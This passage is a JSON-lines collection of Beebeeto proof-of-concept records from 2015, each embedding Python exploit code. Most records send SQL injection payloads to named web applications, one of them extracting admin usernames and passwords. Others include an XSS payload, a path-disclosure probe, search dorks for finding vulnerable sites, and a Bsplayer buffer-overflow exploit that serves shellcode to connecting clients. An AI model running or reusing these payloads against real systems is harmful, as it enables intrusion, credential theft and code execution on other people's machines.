"author": "foundu", "rank": 3, "port": null, "vul_type": "SQL\u6ce8\u5165", "tag": "ShopBuilder\u6f0f\u6d1e,/?m=product&s=list&ptype,SQL Injection,ShopBuilder", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport re\r\nimport requests\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0074',\r\n 'name': 'ShopBuilder /?m=product&s=list&ptype SQL\u6ce8\u5165\u6f0f\u6d1e POC',\r\n 'author': 'foundu',\r\n 'create_date': '2015-03-30',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'ShopBuilder',\r\n 'vul_version': ['*'],\r\n 'type': 'SQL Injection',\r\n 'tag': ['ShopBuilder\u6f0f\u6d1e', '/?m=product&s=list&ptype', 'SQL Injection', 'ShopBuilder'],\r\n 'desc': '?m=product&s=list&ptype=0\uff0csqli=ptype',\r\n 'references': ['http://www.wooyun.org/bugs/wooyun-2014-080770'],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n url = args['options']['target']\r\n payload = (\"/?m=product&s=list&ptype=0%27%20and%201%3Dupdatexml%281%2Cconcat%280x5c%2Cmd5\"\r\n \"%28222222%29%29%2C1%29%23\")\r\n verify_url = url + payload\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n content = requests.get(url).content\r\n if 'e3ceb5881a0a1fdaad01296d7554868d' in content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n\r\n exploit = verify\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "?m=product&s=list&ptype=0\uff0csqli=ptype", "app_name": "ShopBuilder", "id": "poc-2015-0074", "layer4_protocol": null} +{"create_date": "2015-03-27 19:57:52", "name": "Southidc \u5357\u65b9\u6570\u636e 11.0 /news_search.asp SQL\u6ce8\u5165\u6f0f\u6d1e POC", "level": "\u4e2d\u5371", "batchable": 1, "author": "Ca2fux1n", "rank": 3, "port": null, "vul_type": "SQL\u6ce8\u5165", "tag": "southidc,news_search.asp,SQL Injection,\u5357\u65b9\u6570\u636e", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport re\r\nimport urllib2\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0073',\r\n 'name': 'Southidc \u5357\u65b9\u6570\u636e 11.0 /news_search.asp SQL\u6ce8\u5165\u6f0f\u6d1e POC',\r\n 'author': 'ca2fux1n',\r\n 'create_date': '2015-03-24',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'southidc',\r\n 'vul_version': ['11.0'],\r\n 'type': 'SQL Injection',\r\n 'tag': ['southidc', 'news_search.asp', 'SQL Injection', '\u5357\u65b9\u6570\u636e'],\r\n 'desc': 'southidc v10.0\u5230v11.0\u7248\u672c\u4e2dnews_search.asp\u6587\u4ef6\u5bf9key\u53c2\u6570\u6ca1\u6709\u9002\u5f53\u8fc7\u6ee4\uff0c\u5bfc\u81f4SQL\u6ce8\u5165\u6f0f\u6d1e\u3002',\r\n 'references': ['http://sebug.net/vuldb/ssvid-62399'],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n verify_url = args['options']['target'] + '/news_search.asp?'\r\n payload = (\"key=7'%20Union%20select%200,username%2bchr(124)%2bpassword,\"\r\n \"2,3,4,5,6,7,8,9%20from%20admin%20where%1%20or%20''='&otype=title&Submit=%CB%D1%CB%F7\")\r\n req = urllib2.Request(verify_url + payload)\r\n res = urllib2.urlopen(req)\r\n content = res.read()\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url + payload\r\n if res.code == 200:\r\n pattern = re.compile(r'.*?\\\">(?P[a-zA-Z0-9]+)\\|(?P[a-zA-Z0-9]+)',re.I|re.S)\r\n match = pattern.match(content)\r\n if match:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url + payload\r\n return args\r\n\r\n exploit = verify\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "southidc v10.0\u5230v11.0\u7248\u672c\u4e2dnews_search.asp\u6587\u4ef6\u5bf9key\u53c2\u6570\u6ca1\u6709\u9002\u5f53\u8fc7\u6ee4\uff0c\u5bfc\u81f4SQL\u6ce8\u5165\u6f0f\u6d1e\u3002", "app_name": "Southidc", "id": "poc-2015-0073", "layer4_protocol": null} +{"create_date": "2015-03-25 14:20:07", "name": "Bsplayer 2.68 Universal HTTP Response Exploit", "level": "\u9ad8\u5371", "batchable": 0, "author": "\u96f7\u8702", "rank": 4, "port": null, "vul_type": "\u7f13\u51b2\u533a\u6ea2\u51fa", "tag": "Bsplayer\u6f0f\u6d1e,Bsplayer\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e,HTTP Response Exploit", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport sys\r\nimport socket\r\nimport urlparse\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0072',\r\n 'name': 'Bsplayer 2.68 Universal HTTP Response Exploit',\r\n 'author': 'fady_osman',\r\n 'create_date': '2015-03-24',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'Bsplayer',\r\n 'vul_version': ['2.68'],\r\n 'type': 'Buffer Overflow',\r\n 'tag': ['Bsplayer\u6f0f\u6d1e', 'Bsplayer\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e', 'HTTP Response Exploit'],\r\n 'desc': '''\r\n Bsplayer suffers from a buffer overflow vulnerability when processing the HTTP response when opening a URL.\r\n In order to exploit this bug I partially overwrited the seh record to land at pop pop ret instead of the full\r\n address and then used backward jumping to jump to a long jump that eventually land in my shellcode.\r\n\r\n Tested on : windows xp sp1 - windows 7 sp1 - Windows 8 Enterprise it might work in other versions as well just give it a try :)\r\n\r\n My twitter: @fady_osman\r\n My youtube: https://www.youtube.com/user/cutehack3r\r\n ''',\r\n 'references': ['http://www.exploit-db.com/exploits/36477/',\r\n ],\r\n },\r\n }\r\n\r\n def _init_user_parser(self): # \u5b9a\u5236\u547d\u4ee4\u884c\u53c2\u6570\r\n self.user_parser.add_option('-p','--port',\r\n action='store', dest='port', type='string', default=80,\r\n help='about port msg.')\r\n\r\n\r\n @classmethod\r\n def exploit(cls, args):\r\n s = socket.socket() # Create a socket object\r\n url = urlparse.urlparse(args['options']['target']).netloc\r\n host = socket.gethostbyname(url) # Ip to listen to.\r\n port = args['options']['port'] # Reserve a port for your service.\r\n s.bind((host, port)) # Bind to the port\r\n if args['options']['verbose']:\r\n print \"[*] Listening on port \" + str(port)\r\n s.listen(10) # Now wait for client connection.\r\n c, addr = s.accept() # Establish connection with client.\r\n # Sending the m3u file so we can reconnect to our server to send both the flv file and later the payload.\r\n if args['options']['verbose']:\r\n print(('[*] Sending the payload first time', addr))\r\n c.recv(1024)\r\n #seh and nseh.\r\n buf = \"\"\r\n buf += \"\\xbb\\xe4\\xf3\\xb8\\x70\\xda\\xc0\\xd9\\x74\\x24\\xf4\\x58\\x31\"\r\n buf += \"\\xc9\\xb1\\x33\\x31\\x58\\x12\\x83\\xc0\\x04\\x03\\xbc\\xfd\\x5a\"\r\n buf += \"\\x85\\xc0\\xea\\x12\\x66\\x38\\xeb\\x44\\xee\\xdd\\xda\\x56\\x94\"\r\n buf += \"\\x96\\x4f\\x67\\xde\\xfa\\x63\\x0c\\xb2\\xee\\xf0\\x60\\x1b\\x01\"\r\n buf += \"\\xb0\\xcf\\x7d\\x2c\\x41\\xfe\\x41\\xe2\\x81\\x60\\x3e\\xf8\\xd5\"\r\n buf += \"\\x42\\x7f\\x33\\x28\\x82\\xb8\\x29\\xc3\\xd6\\x11\\x26\\x76\\xc7\"\r\n buf += \"\\x16\\x7a\\x4b\\xe6\\xf8\\xf1\\xf3\\x90\\x7d\\xc5\\x80\\x2a\\x7f\"\r\n buf += \"\\x15\\x38\\x20\\x37\\x8d\\x32\\x6e\\xe8\\xac\\x97\\x6c\\xd4\\xe7\"\r\n buf += \"\\x9c\\x47\\xae\\xf6\\x74\\x96\\x4f\\xc9\\xb8\\x75\\x6e\\xe6\\x34\"\r\n buf += \"\\x87\\xb6\\xc0\\xa6\\xf2\\xcc\\x33\\x5a\\x05\\x17\\x4e\\x80\\x80\"\r\n buf += \"\\x8a\\xe8\\x43\\x32\\x6f\\x09\\x87\\xa5\\xe4\\x05\\x6c\\xa1\\xa3\"\r\n buf += \"\\x09\\x73\\x66\\xd8\\x35\\xf8\\x89\\x0f\\xbc\\xba\\xad\\x8b\\xe5\"\r\n buf += \"\\x19\\xcf\\x8a\\x43\\xcf\\xf0\\xcd\\x2b\\xb0\\x54\\x85\\xd9\\xa5\"\r\n buf += \"\\xef\\xc4\\xb7\\x38\\x7d\\x73\\xfe\\x3b\\x7d\\x7c\\x50\\x54\\x4c\"\r\n buf += \"\\xf7\\x3f\\x23\\x51\\xd2\\x04\\xdb\\x1b\\x7f\\x2c\\x74\\xc2\\x15\"\r\n buf += \"\\x6d\\x19\\xf5\\xc3\\xb1\\x24\\x76\\xe6\\x49\\xd3\\x66\\x83\\x4c\"\r\n buf += \"\\x9f\\x20\\x7f\\x3c\\xb0\\xc4\\x7f\\x93\\xb1\\xcc\\xe3\\x72\\x22\"\r\n buf += \"\\x8c\\xcd\\x11\\xc2\\x37\\x12\"\r\n\r\n jmplong = \"\\xe9\\x85\\xe9\\xff\\xff\"\r\n nseh = \"\\xeb\\xf9\\x90\\x90\"\r\n # Partially overwriting the seh record (nulls are ignored).\r\n seh = \"\\x3b\\x58\\x00\\x00\"\r\n buflen = len(buf)\r\n response = \"\\x90\" *2048 + buf + \"\\xcc\" * (6787 - 2048 - buflen) + jmplong + nseh + seh #+ \"\\xcc\" * 7000\r\n c.send(response)\r\n c.close()\r\n c, addr = s.accept() # Establish connection with client.\r\n # Sending the m3u file so we can reconnect to our server to send both the flv file and later the payload.\r\n if args['options']['verbose']:\r\n print(('[*] Sending the payload second time', addr))\r\n c.recv(1024)\r\n c.send(response)\r\n c.close()\r\n s.close()\r\n args['success'] = True\r\n return args\r\n\r\n verify = exploit\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "Tested on : windows xp sp1 - windows 7 sp1 - Windows 8 Enterprise it might work in other versions as well just give it a try :)", "app_name": "Other", "id": "poc-2015-0072", "layer4_protocol": null} +{"create_date": "2015-03-24 15:02:28", "name": "UCenter Home 2.0 /shop.php SQL\u6ce8\u5165\u6f0f\u6d1e POC", "level": "\u4e2d\u5371", "batchable": 1, "author": "tmp", "rank": 3, "port": null, "vul_type": "SQL\u6ce8\u5165", "tag": "Discuz UCenter Home\u6f0f\u6d1e,/shop.php\u6f0f\u6d1e,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport requests\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0069',\r\n 'name': 'UCenter Home 2.0 /shop.php SQL\u6ce8\u5165\u6f0f\u6d1e POC',\r\n 'author': 'tmp',\r\n 'create_date': '2015-03-24',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'Discuz',\r\n 'vul_version': ['2.0'],\r\n 'type': 'SQL Injection',\r\n 'tag': ['Discuz UCenter Home\u6f0f\u6d1e', '/shop.php\u6f0f\u6d1e', 'php'],\r\n 'desc': '''\r\n Script HomePage : http://u.discuz.net/\r\n Dork : Powered by UCenter inurl:shop.php?ac=view\r\n Dork 2 : inurl:shop.php?ac=view&shopid=\r\n ''',\r\n 'references': ['http://www.exploit-db.com/exploits/14997/',\r\n ],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n url = args['options']['target']\r\n payload = (\"/shop.php?ac=view&shopid=253 AND (SELECT 4650 FROM(SELECT COUNT(*),\"\r\n \"CONCAT(0x716b6a6271,(SELECT (CASE WHEN (4650=4650) THEN 1 ELSE 0 END)),\"\r\n \"0x7178787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)\")\r\n verify_url = url + payload\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n content = requests.get(verify_url).content\r\n if 'qkjbq1qxxpq1' in content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n\r\n\r\n exploit = verify\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "Script HomePage : http://u.discuz.net/\r\nDork : Powered by UCenter inurl:shop.php?ac=view\r\nDork 2 : inurl:shop.php?ac=view&shopid=", "app_name": "Discuz", "id": "poc-2015-0069", "layer4_protocol": null} +{"create_date": "2015-03-20 15:16:01", "name": "Chamilo LMS 1.9.10 /main/calendar/agenda_list.php \u8de8\u7ad9\u811a\u672c\u6f0f\u6d1e POC", "level": "\u4f4e\u5371", "batchable": 1, "author": "user1018", "rank": 1, "port": null, "vul_type": "\u8de8\u7ad9\u6f0f\u6d1e", "tag": "Chamilo LMS\u6f0f\u6d1e,xss\u6f0f\u6d1e,\u8de8\u7ad9\u811a\u672c\u6f0f\u6d1e,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport urllib2\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0068',\r\n 'name': 'Chamilo LMS 1.9.10 /main/calendar/agenda_list.php \u8de8\u7ad9\u811a\u672c\u6f0f\u6d1e POC',\r\n 'author': 'user1018',\r\n 'create_date': '2015-03-20',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'Chamilo LMS', \r\n 'vul_version': ['1.9.10'],\r\n 'type': 'Cross Site Scripting',\r\n 'tag': ['Chamilo LMS\u6f0f\u6d1e', 'xss\u6f0f\u6d1e', '\u8de8\u7ad9\u811a\u672c\u6f0f\u6d1e', 'php'],\r\n 'desc': 'N/A',\r\n 'references': ['http://www.exploit-db.com/exploits/36435/',\r\n ],\r\n },\r\n }\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n url = args['options']['target'] + '/main/calendar/agenda_list.php'\r\n verify_url = url + '?type=personal%27%3E%3Cscript%3Econfirm%281%29%3C%2fscript%3E%3C%21--'\r\n request = urllib2.Request(verify_url)\r\n response = urllib2.urlopen(request)\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n content = response.read()\r\n if \"\" in content:\r\n args['success'] = True\r\n args['poc_ret']['xss_url'] = verify_url\r\n return args\r\n\r\n exploit = verify\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "N/A", "app_name": "Other", "id": "poc-2015-0068", "layer4_protocol": null} +{"create_date": "2015-03-18 14:42:11", "name": "GeniXCMS v0.0.1 /index.php SQL INJECTION POC", "level": "\u4e2d\u5371", "batchable": 1, "author": "Ca2fux1n", "rank": 2, "port": null, "vul_type": "SQL\u6ce8\u5165", "tag": "GeniXCMS SQL\u6ce8\u5165\u6f0f\u6d1e,/index.php\u6f0f\u6d1e,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport requests\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0067',\r\n 'name': 'GeniXCMS v0.0.1 /index.php SQL INJECTION POC',\r\n 'author': 'ca2fux1n',\r\n 'create_date': '2015-03-11',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'GeniXCMS',\r\n 'vul_version': ['0.0.1'],\r\n 'type': 'SQL Injection',\r\n 'tag': ['GeniXCMS SQL\u6ce8\u5165\u6f0f\u6d1e', '/index.php\u6f0f\u6d1e', 'php'],\r\n 'desc': 'GeniXCMS v0.0.1 Remote Unauthenticated SQL Injection Exploite',\r\n 'references': ['http://www.exploit-db.com/exploits/36321/',\r\n ],\r\n },\r\n }\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n url = args['options']['target']\r\n payload = \"/genixcms/index.php?page=1' UNION ALL SELECT 1,2,md5('bb2'),4,5,6,7,8,9,10 and 'j'='j\"\r\n verify_url = url + payload\r\n content = requests.get(verify_url).content\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n if '0c72305dbeb0ed430b79ec9fc5fe8505' in content:\r\n args['options']['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n\r\n exploit = verify\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "GeniXCMS v0.0.1 Remote Unauthenticated SQL Injection Exploite", "app_name": "Other", "id": "poc-2015-0067", "layer4_protocol": null} +{"create_date": "2015-03-13 10:10:49", "name": "GNUboard /bbs/poll_update.php SQL Injection Vulnerability POC", "level": "\u4e2d\u5371", "batchable": 1, "author": "1024", "rank": 3, "port": null, "vul_type": "SQL\u6ce8\u5165", "tag": "GNUboard\u6f0f\u6d1e,SQL\u6ce8\u5165\u6f0f\u6d1e,/bbs/poll_update.php,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport re\r\nimport requests\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0063',\r\n 'name': 'GNUboard /bbs/poll_update.php SQL Injection Vulnerability POC',\r\n 'author': '1024',\r\n 'create_date': '2015-03-13',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'GNUboard',\r\n 'vul_version': ['*'],\r\n 'type': 'SQL Injection',\r\n 'tag': ['GNUboard\u6f0f\u6d1e', 'SQL\u6ce8\u5165\u6f0f\u6d1e', '/bbs/poll_update.php', 'php'],\r\n 'desc': 'GNUboard \u901a\u7528\u578b\u6ce8\u5165SQL Injection\uff0c\u636e\u6d4b\u8bd5\u57fa\u672c\u4e0a\u5927\u90e8\u5206\u7684\u7248\u672c\u90fd\u53ef\u4ee5.',\r\n 'references': ['N/A',\r\n ],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n url = args['options']['target']\r\n req = requests.get(url)\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + url\r\n if req.status_code == 200:\r\n po_ids = re.findall(r'name=\"po_id\" value=\"(\\d+)\"', req.content)\r\n for po_id in po_ids:\r\n verify_url = url + '/poll_update.php'\r\n post = (\"_SERVER[REMOTE_ADDR]=86117&po_id=%s&gb_poll=1=1 and(select 1 from(select\"\r\n \"count(*),concat((select md5(123)),floor(rand(0)*2))x from information_schema.tables group by\"\r\n \"x)a)\") % po_id\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n print '[*] POST Content: ' + post\r\n reqp = requests.post(verify_url, data=post)\r\n if reqp.status_code == 200 and '202cb962ac59075b964b07152d234b70' in reqp.content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n args['poc_ret']['post_content'] = post\r\n return args\r\n return args\r\n\r\n\r\n exploit = verify\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "GNUboard \u901a\u7528\u578b\u6ce8\u5165SQL Injection\uff0c\u636e\u6d4b\u8bd5\u57fa\u672c\u4e0a\u5927\u90e8\u5206\u7684\u7248\u672c\u90fd\u53ef\u4ee5.", "app_name": "Gnuboard", "id": "poc-2015-0063", "layer4_protocol": null} +{"create_date": "2015-03-12 16:53:49", "name": "Ecshop /spellchecker.php \u4fe1\u606f\u6cc4\u6f0f\u6f0f\u6d1e POC", "level": "\u4f4e\u5371", "batchable": 1, "author": "tmp", "rank": 1, "port": null, "vul_type": "\u4fe1\u606f\u6cc4\u6f0f", "tag": "Ecshop\u6f0f\u6d1e,Ecshop\u4fe1\u606f\u6cc4\u6f0f\u6f0f\u6d1e,/spellchecker.php,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport re\r\nimport requests\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0060',\r\n 'name': 'Ecshop /spellchecker.php \u4fe1\u606f\u6cc4\u6f0f\u6f0f\u6d1e POC',\r\n 'author': 'tmp',\r\n 'create_date': '2015-03-12',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'Ecshop',\r\n 'vul_version': ['*'],\r\n 'type': 'Information Disclosure',\r\n 'tag': ['Ecshop\u6f0f\u6d1e', 'Ecshop\u4fe1\u606f\u6cc4\u6f0f\u6f0f\u6d1e', '/spellchecker.php', 'php'],\r\n 'desc': 'N/A',\r\n 'references': ['https://www.bugscan.net/#!/n/293',\r\n ],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n payload = '/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php'\r\n verify_url = args['options']['target'] + payload\r\n req = requests.get(verify_url)\r\n if req.status_code == 200:\r\n m = re.search('in ([^<]+) on line (\\d+)', req.content)\r\n if m:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n args['success'] = False\r\n return args\r\n\r\n\r\n exploit = verify\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "N/A", "app_name": "Ecshop", "id": "poc-2015-0060", "layer4_protocol": null} +{"create_date": "2015-03-12 16:43:01", "name": "BlueCMS v1.6 sp1 /ad_js.php SQL\u6ce8\u5165\u6f0f\u6d1e POC", "level": "\u4e2d\u5371", "batchable": 1, "author": "tmp", "rank": 3, "port": null, "vul_type": "SQL\u6ce8\u5165", "tag": "BlueCMS\u6f0f\u6d1e,SQL\u6ce8\u5165\u6f0f\u6d1e,/ad_js.php,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport urllib2\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0059',\r\n 'name': 'BlueCMS v1.6 sp1 /ad_js.php SQL\u6ce8\u5165\u6f0f\u6d1e POC',\r\n 'author': 'tmp',\r\n 'create_date': '2015-03-12',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'BlueCMS',\r\n 'vul_version': ['1.6'],\r\n 'type': 'SQL Injection',\r\n 'tag': ['BlueCMS\u6f0f\u6d1e', 'SQL\u6ce8\u5165\u6f0f\u6d1e', '/ad_js.php', 'php'],\r\n 'desc': '''\r\n BlueCMS(\u5730\u65b9\u5206\u7c7b\u4fe1\u606f\u95e8\u6237\u4e13\u7528CMS\u7cfb\u7edf)\r\n \r\n $ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : ''; //\u6839\u76ee\u5f55\u4e0b\u5176\u4ed6\u6587\u4ef6\u90fd\u505a\u4e86\u5f88\u597d\u7684\u8fc7\u6ee4\uff0c\r\n \u5bf9\u6570\u5b57\u578b\u53d8\u91cf\u51e0\u4e4e\u90fd\u7528\u4e86intval()\u505a\u9650\u5236\uff0c\u552f\u72ec\u6f0f\u4e86\u8fd9\u4e2a\u6587\u4ef6\uff0c\u5c45\u7136\u53ea\u662f\u7528\u4e86trim()\u53bb\u9664\u5934\u5c3e\u7a7a\u683c\u3002\r\n $ad = $db->getone(\"SELECT * FROM \".table('ad').\" WHERE ad_id =\".$ad_id); //\u76f4\u63a5\u4ee3\u5165\u67e5\u8be2\u3002\r\n ''',\r\n 'references': ['http://www.myhack58.com/Article/html/3/7/2010/27774_2.htm',\r\n ],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n payload = \"/ad_js.php?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,md5(3.1415),md5(3.1415)\"\r\n verify_url = args['options']['target'] + payload\r\n req = urllib2.Request(verify_url)\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n content = urllib2.urlopen(req).read()\r\n if '63e1f04640e83605c1d177544a5a0488' in content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n\r\n exploit = verify\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "BlueCMS(\u5730\u65b9\u5206\u7c7b\u4fe1\u606f\u95e8\u6237\u4e13\u7528CMS\u7cfb\u7edf)\r\n\r\n$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : ''; 